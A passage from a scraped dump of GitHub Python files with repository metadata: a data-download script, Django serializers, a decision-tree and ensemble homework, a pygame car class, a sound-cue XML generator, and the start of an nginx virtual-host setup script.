#source_url=\"https://opendata.vancouver.ca/explore/dataset/business-licences/download/?format=csv&timezone=America/Los_Angeles&lang=en&use_labels_for_header=true&csv_separator=%3B\"\n first_file = \"data-raw/business-licences.csv\"\n dataset_df_1 = pd.read_csv(first_file, sep=\";\", low_memory=False, dtype={20:'str'} )\n\n dataset_df_1['id'] = dataset_df_1.index + 1\n dataset_df_1['id'] = 'B' + dataset_df_1['id'].astype(str)\n\n #source_url=\"https://opendata.vancouver.ca/explore/dataset/business-licences-1997-to-2012/download/?format=csv&timezone=America/Los_Angeles&lang=en&use_labels_for_header=true&csv_separator=%3B\"\n second_file = \"data-raw/business-licences-1997-to-2012.csv\"\n dataset_df_2 = pd.read_csv(second_file, sep=\";\", low_memory=False, dtype={20:'str'} )\n\n dataset_df_2['id'] = dataset_df_2.index + 1\n dataset_df_2['id'] = 'A' + dataset_df_2['id'].astype(str)\n\n dataset_df = pd.concat([dataset_df_2, dataset_df_1], ignore_index=True)\n\n dataset_df = dataset_df.assign(NumberofEmployees = dataset_df.NumberofEmployees.apply(lambda x: np.nan if x==\"000\" else x))\n dataset_df = dataset_df.assign(perc_missing = dataset_df.isnull().sum(axis=1)/dataset_df.shape[1]*100)\n dataset_df = dataset_df.assign(prov_cleaned = dataset_df.Province.str.upper().apply(prov_cleanup))\n dataset_df = dataset_df.assign(age = datetime.today().year-2000- dataset_df.FOLDERYEAR)\n\n\n\n\n dataset_df.to_csv(target_file, index=False)\n print(\"Download complete\")\n except FileNotFoundError as fx:\n print(\"Error in target file path\")\n print(fx)\n print(type(fx)) \n except Exception as ex:\n print(ex)\n print(type(ex))\n\nif __name__==\"__main__\":\n main(opt[\"--target_file\"])\n\n","repo_name":"rtaph/h2h","sub_path":"src/get_license_data.py","file_name":"get_license_data.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33384311381","text":"from rest_framework import serializers\nfrom ..models import Author, Book, Reader, Grade\nfrom datetime import date\n\nclass AuthorSerializer(serializers.ModelSerializer):\n\tclass Meta:\n\t\tmodel = Author\n\t\tfields = '__all__'\n\n\taverage_grade = serializers.CharField(source = 'get_average_grade',\n\t\trequired = False)\n\n\tdef validate(self, data):\n\t\tif data['date_of_birth'] > date.today():\n\t\t\traise serializers.ValidationError('Вы не можете предсказать дату рождения автора')\n\t\tif 'date_of_death' not in data.keys() or data['date_of_death'] == None:\n\t\t\treturn data\n\n\t\tif data['date_of_death'] < data['date_of_birth']:\n\t\t\traise serializers.ValidationError('Дата смерти не может быть раньше даты рождения')\n\t\tif data['date_of_death'] > date.today():\n\t\t\traise serializers.ValidationError('Вы не можете предсказать дату смерти автора')\n\t\treturn data\n\nclass BookSerializer(serializers.ModelSerializer):\n\tclass Meta:\n\t\tmodel = Book\n\t\tfields = '__all__'\n\n\taverage_grade = serializers.CharField(\n\t\tsource = 'get_average_grade', required = False)\n\n\tdef validate(self, data):\n\t\tif data['year'] > date.today().year:\n\t\t\traise serializers.ValidationError('Книга не может выйти в будущем')\n\t\treturn data\n\nclass ReaderSerializer(serializers.ModelSerializer):\n\tclass Meta:\n\t\tmodel = Reader\n\t\tfields = '__all__'\n\nclass GradeSerializer(serializers.ModelSerializer):\n\tclass Meta:\n\t\tmodel = Grade\n\t\tfields = '__all__'","repo_name":"MelllivoraCapensis/library","sub_path":"catalog/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32873329750","text":"# decision_tree.py\r\n# ---------\r\n# Licensing Information: You are free to use or extend these projects for\r\n# personal and educational purposes provided that (1) you do not distribute\r\n# or publish solutions, (2) you retain this notice, and (3) you provide clear\r\n# attribution to UT Dallas, including a link to http://cs.utdallas.edu.\r\n#\r\n# This file is part of Homework 3 for CS6375: Machine Learning.\r\n# Gautam Kunapuli (gautam.kunapuli@utdallas.edu)\r\n# Sriraam Natarajan (sriraam.natarajan@utdallas.edu),\r\n#\r\n# I worked on this assignment with Divya Sharma from our section.\r\n#\r\n# INSTRUCTIONS:\r\n# ------------\r\n# 1. This file contains a skeleton for implementing the ID3 algorithm for\r\n# Decision Trees. Insert your code into the various functions that have the\r\n# comment \"INSERT YOUR CODE HERE\".\r\n#\r\n# 2. Do NOT modify the classes or functions that have the comment \"DO NOT\r\n# MODIFY THIS FUNCTION\".\r\n#\r\n# 3. Do not modify the function headers for ANY of the functions.\r\n#\r\n# 4. You may add any other helper functions you feel you may need to print,\r\n# visualize, test, or save the data and results. However, you MAY NOT utilize\r\n# the package scikit-learn OR ANY OTHER machine learning package in THIS file.\r\n\r\nimport numpy as np\r\nimport os\r\nimport graphviz\r\nimport math\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.ensemble import AdaBoostClassifier\r\nfrom sklearn.ensemble import RandomForestClassifier\r\n\r\nfrom sklearn import metrics\r\nfrom sklearn.tree import export_graphviz\r\nfrom sklearn.externals.six import StringIO\r\nfrom IPython.display import Image\r\nfrom sklearn.metrics import confusion_matrix\r\nimport pydotplus\r\nimport random\r\nimport pdb\r\n\r\n\r\n \r\n\r\ndef partition(x):\r\n \"\"\"\r\n Partition the column vector x into subsets indexed by its unique values (v1, ... vk)\r\n\r\n Returns a dictionary of the form\r\n { v1: indices of x == v1,\r\n v2: indices of x == v2,\r\n ...\r\n vk: indices of x == vk }, where [v1, ... vk] are all the unique values in the vector z.\r\n \"\"\"\r\n\r\n # INSERT YOUR CODE HERE\r\n d = {}\r\n #numpy.unique gives a more compact way of writing this function\r\n #gives the unique elements in a vector as a list\r\n for i in np.unique(x): \r\n d.update({i : (x == i).nonzero()[0]}) \r\n return d\r\n\r\n raise Exception('Function not yet implemented!')\r\n\r\n\r\ndef entropy(y, weights = None):\r\n \"\"\"\r\n Compute the entropy of a vector y by considering the counts of the unique values (v1, ... vk), in z\r\n\r\n Returns the entropy of z: H(z) = p(z=v1) log2(p(z=v1)) + ... + p(z=vk) log2(p(z=vk))\r\n \"\"\"\r\n\r\n # INSERT YOUR CODE HERE\r\n #pdb.set_trace()\r\n l = len(y)\r\n dt = partition(y)\r\n sum =0\r\n if weights is None:\r\n for key in list(dt.keys()):\r\n p = dt[key].size/l #entropy calculation \r\n sum -= p*math.log2(p)\r\n return sum\r\n \r\n if weights is not None:\r\n ws = np.sum(weights)\r\n for key in list(dt.keys()):\r\n sump = 0\r\n for index in list(dt[key]):\r\n sump += weights[index]/ws \r\n #pdb.set_trace()\r\n p = sump #entropy calculation \r\n sum -= p*math.log2(p)\r\n return sum\r\n \r\n\r\ndef mutual_information(x, y,weights = None):\r\n \"\"\"\r\n Compute the mutual information between a data column (x) and the labels (y). The data column is a single attribute\r\n over all the examples (n x 1). Mutual information is the difference between the entropy BEFORE the split set, and\r\n the weighted-average entropy of EACH possible split.\r\n\r\n Returns the mutual information: I(x, y) = H(y) - H(y | x)\r\n \"\"\"\r\n \r\n \r\n # INSERT YOUR CODE HERE \r\n if weights is None:\r\n hy = entropy(y)\r\n valuex, countx = np.unique(x,return_counts = True)\r\n \r\n hyx = 0.0\r\n for i in range(len(valuex)):\r\n p = countx[i].astype('float')/len(x)\r\n hyx += p*entropy(y[x==valuex[i]])\r\n return hy - hyx\r\n \r\n if weights is not None:\r\n w = weights\r\n #print(w[:10])\r\n hy = entropy(y,w)\r\n #print(hy)\r\n ws = np.sum(weights)\r\n p = partition(x)\r\n hyx = 0.0\r\n for val in p.keys():\r\n sump = 0.0\r\n for index in p[val]:\r\n sump += weights[index]/ws\r\n #pdb.set_trace()\r\n p1 = sump\r\n hyx += p1*entropy(y[x==val],w)\r\n return hy - hyx\r\n \r\n# if weights is not None:\r\n# hy = entropy(y)\r\n# valuex, countx = np.unique(x,return_counts = True)\r\n# hyx = 0.0\r\n# for i in range(len(valuex)):\r\n# p = countx[i].astype('float')/len(x)\r\n# hyx += p*entropy(y[x==valuex[i]],weights)\r\n# return hy - hyx\r\n \r\n \r\n raise Exception('Function not yet implemented!')\r\n\r\n\r\n \r\ndef id3(x, y, attribute_value_pairs=None, depth=0, max_depth=5,weights=None):\r\n \"\"\"\r\n Implements the classical ID3 algorithm given training data (x), training labels (y) and an array of\r\n attribute-value pairs to consider. This is a recursive algorithm that depends on three termination conditions\r\n 1. If the entire set of labels (y) is pure (all y = only 0 or only 1), then return that label\r\n 2. If the set of attribute-value pairs is empty (there is nothing to split on), then return the most common\r\n value of y (majority label)\r\n 3. If the max_depth is reached (pre-pruning bias), then return the most common value of y (majority label)\r\n Otherwise the algorithm selects the next best attribute-value pair using INFORMATION GAIN as the splitting criterion\r\n and partitions the data set based on the values of that attribute before the next recursive call to ID3.\r\n\r\n The tree we learn is a BINARY tree, which means that every node has only two branches. The splitting criterion has\r\n to be chosen from among all possible attribute-value pairs. That is, for a problem with two features/attributes x1\r\n (taking values a, b, c) and x2 (taking values d, e), the initial attribute value pair list is a list of all pairs of\r\n attributes with their corresponding values:\r\n [(x1, a),\r\n (x1, b),\r\n (x1, c),\r\n (x2, d),\r\n (x2, e)]\r\n If we select (x2, d) as the best attribute-value pair, then the new decision node becomes: [ (x2 == d)? ] and\r\n the attribute-value pair (x2, d) is removed from the list of attribute_value_pairs.\r\n\r\n The tree is stored as a nested dictionary, where each entry is of the form\r\n (attribute_index, attribute_value, True/False): subtree\r\n * The (attribute_index, attribute_value) determines the splitting criterion of the current node. For example, (4, 2)\r\n indicates that we test if (x4 == 2) at the current node.\r\n * The subtree itself can be nested dictionary, or a single label (leaf node).\r\n * Leaf nodes are (majority) class labels\r\n\r\n Returns a decision tree represented as a nested dictionary, for example\r\n {(4, 1, False):\r\n {(0, 1, False):\r\n {(1, 1, False): 1,\r\n (1, 1, True): 0},\r\n (0, 1, True):\r\n {(1, 1, False): 0,\r\n (1, 1, True): 1}},\r\n (4, 1, True): 1}\r\n \"\"\"\r\n\r\n # INSERT YOUR CODE HERE. NOTE: THIS IS A RECURSIVE FUNCTION.\r\n tree = {}\r\n w = weights\r\n #pdb.set_trace()\r\n if attribute_value_pairs is None:\r\n attribute_value_pairs = np.vstack([[(i, v) for v in np.unique(x[:, i])] for i in range(x.shape[1])])\r\n #numpy.vstack takes the tuples and stacks them vertically in a vector.\r\n y_values, y_counts = np.unique(y, return_counts=True)\r\n #print(attribute_value_pairs)\r\n #recursion base conditions as given for te ID3 algorithm\r\n if len(y_values) == 1: #as np.unique returns list of unique values and list of their corresponding counts\r\n return y_values[0]\r\n if len(attribute_value_pairs) == 0 or depth == max_depth: #when there are no more unique attributes in the attribute_value_pairs, we give the label as the one which has the most numbers\r\n return y_values[np.argmax(y_counts)]\r\n \r\n #mutual information array corresponding to attribute_value_pairs array.\r\n mi = np.array([mutual_information(np.array(x[:, i] == v).astype(int), y,w)\r\n for (i, v) in attribute_value_pairs])\r\n #print(mi)\r\n \r\n (attr_sel, value_sel) = attribute_value_pairs[np.argmax(mi)] #selecting the attribute value pair with the maximum mutual information.\r\n #print(attr,value)\r\n p = partition(np.array(x[:, attr_sel] == value_sel).astype(int)) #partition the selected attribute with repect to selected value, returns a vector of True or False\r\n \r\n del_ind = np.all(attribute_value_pairs == (attr_sel, value_sel), axis=1) #index of selected attribute value pair tuple, to delete from the attribute value pairs.\r\n \r\n attribute_value_pairs = np.delete(attribute_value_pairs, np.argwhere(del_ind), 0)\r\n #print(attribute_value_pairs)\r\n\r\n for val, indices in p.items():\r\n x_subset = x.take(indices, axis=0) #axis=0 refers to column wise operation, hence both data and labels are selected for the cases when the above \r\n y_subset = y.take(indices, axis=0) #attribute value pair is selcted(True) and when not(False).\r\n \r\n decision = bool(val)\r\n \r\n if weights is None:\r\n tree[(attr_sel, value_sel, decision)] = id3(x_subset, y_subset, attribute_value_pairs=attribute_value_pairs,\r\n max_depth=max_depth, depth=depth + 1)\r\n \r\n if weights is not None:\r\n w_subset = weights.take(indices, axis=0)\r\n tree[(attr_sel, value_sel, decision)] = id3(x_subset, y_subset, attribute_value_pairs=attribute_value_pairs,\r\n max_depth=max_depth, depth=depth + 1,weights = w_subset)\r\n\r\n \r\n\r\n return tree\r\n \r\n raise Exception('Function not yet implemented!')\r\n\r\n\r\ndef predict_example(x, tree):\r\n \r\n \"\"\"\r\n Predicts the classification label for a single example x using tree by recursively descending the tree until\r\n a label/leaf node is reached.\r\n\r\n Returns the predicted label of x according to tree\r\n \"\"\"\r\n \r\n # INSERT YOUR CODE HERE. NOTE: THIS IS A RECURSIVE FUNCTION.\r\n for splitval, sub_tree in tree.items():\r\n attr_num = splitval[0]\r\n attr_value = splitval[1]\r\n decision = splitval[2]\r\n\r\n if decision == (x[attr_num] == attr_value):\r\n if type(sub_tree) is dict:\r\n label = predict_example(x, sub_tree)\r\n else:\r\n label = sub_tree\r\n\r\n return label\r\n \r\n raise Exception('Function not yet implemented!')\r\n\r\n\r\ndef compute_error(y_true, y_pred, weights = None):\r\n \"\"\"\r\n Computes the average error between the true labels (y_true) and the predicted labels (y_pred)\r\n\r\n Returns the error = (1/n) * sum(y_true != y_pred)\r\n \"\"\"\r\n\r\n # INSERT YOUR CODE HERE\r\n if weights is None:\r\n n = len(y_true)\r\n err = [y_true[i] != y_pred[i] for i in range(n)]\r\n return sum(err)/n\r\n \r\n if weights is not None:\r\n ws = np.sum(weights)\r\n n = len(y_true)\r\n err = [int(y_true[i] != y_pred[i]) for i in range(n)]\r\n sumerr = 0\r\n for i in range(n):\r\n sumerr += err[i]*weights[i]\r\n return sumerr/ws\r\n\r\n\r\n raise Exception('Function not yet implemented!')\r\n \r\ndef boosting(x,y,max_depth,num_stumps):\r\n \r\n trees=[]\r\n \r\n l = y.size\r\n w = np.array([])\r\n \r\n #initialize weight vector\r\n for i in range(l):\r\n w = np.append(w,1/l)\r\n \r\n for t in range(num_stumps):\r\n #print(w[:10])\r\n t1 = id3(x, y, depth=0, max_depth=max_depth,weights = w)\r\n #print(t1)#weak learner\r\n y_pred = [predict_example(xin, t1) for xin in x]\r\n\r\n \r\n tr = [int(y[i] != y_pred[i]) for i in range(len(y))] #terror for the weak learner\r\n #print(tr)\r\n for t in range(len(tr)):\r\n if(tr[t] == 0):\r\n tr[t] = -1\r\n #print(tr)\r\n #pdb.set_trace()\r\n er = compute_error(y,y_pred,w) \r\n stage = math.log((1 - er)/er) #alpha calculation\r\n trees.append((stage,t1)) #append model and its weight\r\n \r\n w = np.array([w[i]*math.exp(stage*tr[i]) for i in range(len(w))]) # weights updated\r\n \r\n return trees\r\n\r\n\r\n\r\ndef bagging(x, y, max_depth, num_trees):\r\n \r\n bagOfTrees = []\r\n \r\n for i in range(num_trees):\r\n xrand = []\r\n yrand = []\r\n for item in range(y.size):\r\n r_index = random.randrange(y.size)\r\n xrand.append(x[r_index,:])\r\n yrand.append(y[r_index])\r\n #print(np.array(x_rand).shape)\r\n t1 = id3(np.array(xrand),np.array(yrand),depth = 0, max_depth = max_depth)\r\n bagOfTrees.append(t1)\r\n \r\n return bagOfTrees\r\n\r\ndef predict_bagging(x,bag):\r\n output = 0\r\n r = []\r\n for i in range(len(bag)):\r\n r.append(predict_example(x,bag[i]))\r\n output = max(r, key=r.count)\r\n return output\r\n \r\n \r\n \r\n\r\ndef predict_ensemble(x, h_ens):\r\n \r\n output = 0\r\n for i in range(len(h_ens)):\r\n for splitval, sub_tree in h_ens[i][1].items():\r\n attr_num = splitval[0]\r\n attr_value = splitval[1]\r\n decision = splitval[2]\r\n\r\n if decision == (x[attr_num] == attr_value):\r\n if type(sub_tree) is dict:\r\n label = predict_example(x, sub_tree)\r\n else:\r\n label = sub_tree\r\n \r\n output += int(label)*h_ens[i][0]\r\n \r\n \r\n if(output > 0.5):\r\n return 1\r\n else:\r\n return 0\r\n \r\n \r\n \r\n raise Exception('Function not yet implemented!')\r\n \r\n \r\n #call id3 for given weights \r\n \r\n \r\n\r\ndef confusionMatrixCalculation(p_labels,t_labels):\r\n \r\n pred_labels = np.asarray(p_labels)\r\n true_labels = np.asarray(pred_labels)\r\n return confusion_matrix(true_labels, pred_labels)\r\n \r\n\r\ndef pretty_print(tree, depth=0):\r\n \"\"\"\r\n Pretty prints the decision tree to the console. Use print(tree) to print the raw nested dictionary representation\r\n DO NOT MODIFY THIS FUNCTION!\r\n \"\"\"\r\n if depth == 0:\r\n print('TREE')\r\n\r\n for index, split_criterion in enumerate(tree):\r\n sub_trees = tree[split_criterion]\r\n\r\n # Print the current node: split criterion\r\n print('|\\t' * depth, end='')\r\n print('+-- [SPLIT: x{0} = {1} {2}]'.format(split_criterion[0], split_criterion[1], split_criterion[2]))\r\n\r\n # Print the children\r\n if type(sub_trees) is dict:\r\n pretty_print(sub_trees, depth + 1)\r\n else:\r\n print('|\\t' * (depth + 1), end='')\r\n print('+-- [LABEL = {0}]'.format(sub_trees))\r\n\r\n\r\ndef render_dot_file(dot_string, save_file, image_format='png'):\r\n \"\"\"\r\n Uses GraphViz to render a dot file. The dot file can be generated using\r\n * sklearn.tree.export_graphviz()' for decision trees produced by scikit-learn\r\n * to_graphviz() (function is in this file) for decision trees produced by your code.\r\n DO NOT MODIFY THIS FUNCTION!\r\n \"\"\"\r\n if type(dot_string).__name__ != 'str':\r\n raise TypeError('visualize() requires a string representation of a decision tree.\\nUse tree.export_graphviz()'\r\n 'for decision trees produced by scikit-learn and to_graphviz() for decision trees produced by'\r\n 'your code.\\n')\r\n\r\n # Set path to your GraphViz executable here\r\n os.environ[\"PATH\"] += os.pathsep + 'C:/Program Files (x86)/Graphviz2.38/bin/'\r\n graph = graphviz.Source(dot_string)\r\n graph.format = image_format\r\n graph.render(save_file, view=True)\r\n\r\n\r\ndef to_graphviz(tree, dot_string='', uid=-1, depth=0):\r\n \"\"\"\r\n Converts a tree to DOT format for use with visualize/GraphViz\r\n DO NOT MODIFY THIS FUNCTION!\r\n \"\"\"\r\n\r\n uid += 1 # Running index of node ids across recursion\r\n node_id = uid # Node id of this node\r\n\r\n if depth == 0:\r\n dot_string += 'digraph TREE {\\n'\r\n\r\n for split_criterion in tree:\r\n sub_trees = tree[split_criterion]\r\n attribute_index = split_criterion[0]\r\n attribute_value = split_criterion[1]\r\n split_decision = split_criterion[2]\r\n\r\n if not split_decision:\r\n # Alphabetically, False comes first\r\n dot_string += ' node{0} [label=\"x{1} = {2}?\"];\\n'.format(node_id, attribute_index, attribute_value)\r\n\r\n if type(sub_trees) is dict:\r\n if not split_decision:\r\n dot_string, right_child, uid = to_graphviz(sub_trees, dot_string=dot_string, uid=uid, depth=depth + 1)\r\n dot_string += ' node{0} -> node{1} [label=\"False\"];\\n'.format(node_id, right_child)\r\n else:\r\n dot_string, left_child, uid = to_graphviz(sub_trees, dot_string=dot_string, uid=uid, depth=depth + 1)\r\n dot_string += ' node{0} -> node{1} [label=\"True\"];\\n'.format(node_id, left_child)\r\n\r\n else:\r\n uid += 1\r\n dot_string += ' node{0} [label=\"y = {1}\"];\\n'.format(uid, sub_trees)\r\n if not split_decision:\r\n dot_string += ' node{0} -> node{1} [label=\"False\"];\\n'.format(node_id, uid)\r\n else:\r\n dot_string += ' node{0} -> node{1} [label=\"True\"];\\n'.format(node_id, uid)\r\n\r\n if depth == 0:\r\n dot_string += '}\\n'\r\n return dot_string\r\n else:\r\n return dot_string, node_id, uid\r\n\r\n\r\nif __name__ == '__main__':\r\n \r\n M = np.genfromtxt('./mushroom.train', missing_values=0, skip_header=0, delimiter=',', dtype=int)\r\n ytrn = M[:, 0]\r\n Xtrn = M[:, 1:]\r\n\r\n # Load the test data\r\n M = np.genfromtxt('./mushroom.test', missing_values=0, skip_header=0, delimiter=',', dtype=int)\r\n ytst = M[:, 0]\r\n Xtst = M[:, 1:]\r\n \r\n #print(Xtrn.shape)\r\n #boosting \r\n# for d in range(1,3):\r\n# for stump in range(5,11,5):\r\n# print(\"depth = \",d)\r\n# print(\"ensemble size = \",stump)\r\n# #pdb.set_trace()\r\n# boost = boosting(Xtrn,ytrn,d,stump)\r\n# y_pred = [predict_ensemble(tst,boost) for tst in Xtst]\r\n# #tst_err = compute_error(ytst, y_pred)\r\n# tst_err = compute_error(ytst, y_pred)\r\n#\r\n# matrix = confusion_matrix(ytst, y_pred)\r\n# #print(\"Confusion Matrix for depth_{}\".format(d))\r\n# print(matrix)\r\n# print('Accuracy of Mushroom dataset = {0:4.2f}%.'.format((1-tst_err) * 100))\r\n \r\n \r\n for d in range(3,6,2):\r\n for bag in range(5,11,5):\r\n print(\"depth = \",d)\r\n print(\"bag size = \",bag)\r\n bag1 = bagging(Xtrn,ytrn,d,bag)\r\n y_pred = [predict_bagging(test,bag1) for test in Xtst]\r\n tst_err = compute_error(ytst,y_pred)\r\n matrix = confusion_matrix(ytst,y_pred)\r\n print(matrix)\r\n print('Accuracy of Mushroom dataset = {0:4.2f}%.'.format((1-tst_err) * 100))\r\n \r\n# for num in range(5,11,5):\r\n# \r\n# for depth in range(1,3):\r\n# print(\"depth =\",depth)\r\n# print(\"number of weak learners =\",num)\r\n# clf = AdaBoostClassifier(base_estimator = DecisionTreeClassifier(max_depth = depth),n_estimators = num)\r\n# clf = clf.fit(Xtrn,ytrn)\r\n# y_pred = clf.predict(Xtst)\r\n# print(\"Accuracy for depth and number of trees>>{}:\".format(depth), metrics.accuracy_score(ytst, y_pred)*100)\r\n# matrix = confusion_matrix(ytst, y_pred)\r\n# print(\"Confusion Matrix of scikit-learn's for depth>>{}\".format(depth))\r\n# print(matrix)\r\n \r\n# for noftrees in range(5,11,5):\r\n# \r\n# for depth in range(3,6,2):\r\n# print(\"depth = \",depth)\r\n# print(\"n_estimators(number of trees) = \", noftrees)\r\n# clf = RandomForestClassifier(n_estimators = noftrees,criterion = 'entropy',max_depth = depth)\r\n# clf = clf.fit(Xtrn,ytrn)\r\n# y_pred = clf.predict(Xtst)\r\n# print(\"Accuracy for depth and number of trees>>{}:\".format(depth), metrics.accuracy_score(ytst, y_pred)*100)\r\n# matrix = confusion_matrix(ytst, y_pred)\r\n# print(\"Confusion Matrix of scikit-learn's for depth>>{}\".format(depth))\r\n# print(matrix)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n\r\n","repo_name":"jinx05/Machine-Learning","sub_path":"decision_tree.py","file_name":"decision_tree.py","file_ext":"py","file_size_in_byte":20806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71107448543","text":"#Jonthan Salmon\n\n#This class manages the player, it is responsible for controling the logic behind the movement,\n#checking if the car is located on a grass tile and rotation of the car\n\nimport math\nimport pygame\nimport timer\nfrom image_loader import load_image\n\nGRASS_SPEED = 0.715\nGRASS_GREEN = 100\nCENTER_X = -1\nCENTER_Y = -1\nplayerspawn = timer.Finish()\n\n#Rotate car around the center point\ndef rot_center(image, rect, angle):\n \"\"\"rotate an image while keeping its center\"\"\"\n rot_image = pygame.transform.rotate(image, angle)\n rot_rect = rot_image.get_rect(center=rect.center)\n return rot_image,rot_rect\n\ndef findspawn():\n x = 300\n y = 800\n return x, y\n\n#define car as Player.\nclass Player(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image = load_image('player.png')\n self.rect = self.image.get_rect()\n self.image_orig = self.image\n self.screen = pygame.display.get_surface()\n self.area = self.screen.get_rect()\n CENTER_X = int(pygame.display.Info().current_w /2)\n CENTER_Y = int(pygame.display.Info().current_h /2)\n self.x = CENTER_X\n self.y = CENTER_Y\n self.rect.topleft = self.x, self.y\n self.x, self.y = findspawn()\n self.dir = 0\n self.speed = 0.0\n self.maxspeed = 21.5\n self.minspeed = -1.85\n self.acceleration = 0.095\n self.deacceleration = 0.12\n self.softening = 0.04\n self.steering = 1.60\n\n#If the car is on grass, decrease speed and emit tracks.\n def grass(self, value):\n if value > GRASS_GREEN:\n if self.speed - self.deacceleration > GRASS_SPEED * 2:\n self.speed = self.speed - self.deacceleration * 2\n\n#If car is moving offset the movement by the softening amount in order to\n#eventually bring it to a standstill if no other forces are applied\n def soften(self):\n if self.speed > 0:\n self.speed -= self.softening\n if self.speed < 0:\n self.speed += self.softening\n\n#Accelerate the vehicle\n def accelerate(self):\n if self.speed < self.maxspeed:\n self.speed = self.speed + self.acceleration\n\n\n#Deaccelerate the car\n def deaccelerate(self):\n if self.speed > self.minspeed:\n self.speed = self.speed - self.deacceleration\n\n#Steer the car left\n def steerleft(self):\n self.dir = self.dir+self.steering\n if self.dir > 360:\n self.dir = 0\n self.image, self.rect = rot_center(self.image_orig, self.rect, self.dir)\n\n#Steer the car right\n def steerright(self):\n self.dir = self.dir-self.steering\n if self.dir < 0:\n self.dir = 360\n self.image, self.rect = rot_center(self.image_orig, self.rect, self.dir)\n\n#Updates the car's position based off of current speed\n def update(self, last_x, last_y):\n self.x = self.x + self.speed * math.cos(math.radians(270-self.dir))\n self.y = self.y + self.speed * math.sin(math.radians(270-self.dir))\n\n\n\n","repo_name":"Jdsalmon123/C6Group","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43382662183","text":"import sys\n\ndef oddeven():\n print(\"---- The ODD/EVEN Machine ----\")\n print(\"Hi! I can check two things for you: \")\n print(\"(1) Whether your number is even or odd.\")\n print(\"(2) Whether your first number is a multiple of your second number.\" + '\\n')\n answer = int(input(\"Which option are you picking? (1/2): \"))\n\n if answer == 1:\n num = int(input('\\n' + \"Enter a number: \"))\n\n if num % 2 == 1:\n print(\"Your number is odd!\")\n elif num % 2 == 0:\n if num % 4 == 0:\n print(\"Your number is even... and divisible by 4! BONUS!\")\n else:\n print(\"Your number is even!\")\n elif answer == 2:\n num1 = int(input('\\n' + \"Enter your first number: \"))\n num2 = int(input('\\n' + \"Enter your second number: \"))\n\n if num1 % num2 == 0:\n print(\"Your second number divides evenly by your first number!\")\n else:\n print(\"Your second number does not divide evenly by your first number.\")\n else:\n print(\"Not a valid option... have a good day :)\")\n sys.exit()\n \n \n\n \n","repo_name":"ness-tea/practice-py","sub_path":"oddeven.py","file_name":"oddeven.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38278064243","text":"import os\nfrom os import path\nimport sys\nimport uuid\nimport csv\nimport re\nimport inspect\nimport logging\ntry:\n from lxml import ET\nexcept ImportError:\n import xml.etree.ElementTree as ET\n\n\ndef putcuefile(newdoc, cuedict, cuenum):\n global firstuuid\n if firstuuid and cuenum == 0:\n cueele = ET.SubElement(newdoc, 'Cue', {'uuid': '{0}'.format(firstuuid), 'num': '{0:003}'.format(cuenum)})\n firstuuid = None\n else:\n cueele = ET.SubElement(newdoc, 'Cue', {'uuid':'{0}'.format(uuid.uuid4()), 'num' : '{0:003}'.format(cuenum)})\n\n for key in cuedict:\n print('key: {0}'.format(key))\n firstlevelel = ET.SubElement(cueele, key)\n if type(cuedict[key]) is not dict:\n print('**')\n print(cuedict[key])\n firstlevelel.text = cuedict[key]\n else:\n children = cuedict[key]\n for child in children:\n print('child: {0}, childval: {1}'.format(child, children[child]))\n secondlevel = ET.SubElement(firstlevelel, child)\n secondlevel.text = children[child]\n pass\n return newdoc\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO,\n filename='ShowMixer.log', filemode='w',\n format='%(name)s %(levelname)s %(message)s')\n logging.info('Begin')\n newdoc = ET.Element('show_control')\n directory = os.fsencode('/home/mac/Shows/WS1/sounds/background_music')\n soundsfile = open('/home/mac/Shows/WS1/sounds/WS_sounds.xml', 'w')\n soundsfile.write('\\n')\n soundsfile.write('\\n')\n soundsfile.write(' \\n')\n soundsfile.write(' 1.0\\n')\n\n for file_count, filename in enumerate(os.listdir(directory)):\n if filename.endswith(bytes('.wav', 'utf-8')):\n print('Num: {}: File Name: {}'.format(file_count, filename.decode('utf-8')))\n soundsfile.write(' \\n')\n soundsfile.write(' background-{:02}\\n'.format(file_count+1))\n soundsfile.write(' background_music/{}\\n'.format(filename.decode('utf-8')))\n soundsfile.write(' 0.33\\n')\n soundsfile.write(' 0.00\\n')\n soundsfile.write(' 1.0\\n')\n soundsfile.write(' \\n\\n')\n\n continue\n else:\n continue\n soundsfile.write(' \\n')\n soundsfile.write(' \\n')\n soundsfile.write('\\n')\n soundsfile.close()\n pass","repo_name":"macdroid53/PaltoSC","sub_path":"make_sounds_xml.py","file_name":"make_sounds_xml.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71574619424","text":"#!/usr/bin/env python3\n\nimport subprocess\nimport os\nimport sys\n\n\ndef install_package(package_name):\n subprocess.run(\n ['sudo', 'apt-get', 'update'],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n subprocess.run(\n ['sudo', 'apt-get', 'install', '-y', package_name],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n\n\ndef create_virtual_host(hostname):\n print(f\"Creating: {hostname} virtual host\")\n\n # Prepare host config\n base_virtual_host_config = f\"\"\"\n # Virtual Host configuration for {hostname}\n #\n # You can move that to a different file under sites-available/ and symlink that\n # to sites-enabled/ to enable it.\n #\n server {{\n listen 80;\n listen [::]:80;\n\n server_name {hostname};\n\n root /var/www/{hostname}/html;\n index index.html;\n\n location / {{\n try_files $uri $uri/ =404;\n }}\n }}\n \"\"\"\n\n # Write config to /etc/nginx/sites-available/{hostname}\n with open(f\"/etc/nginx/sites-available/{hostname}\", 'w') as config_file:\n 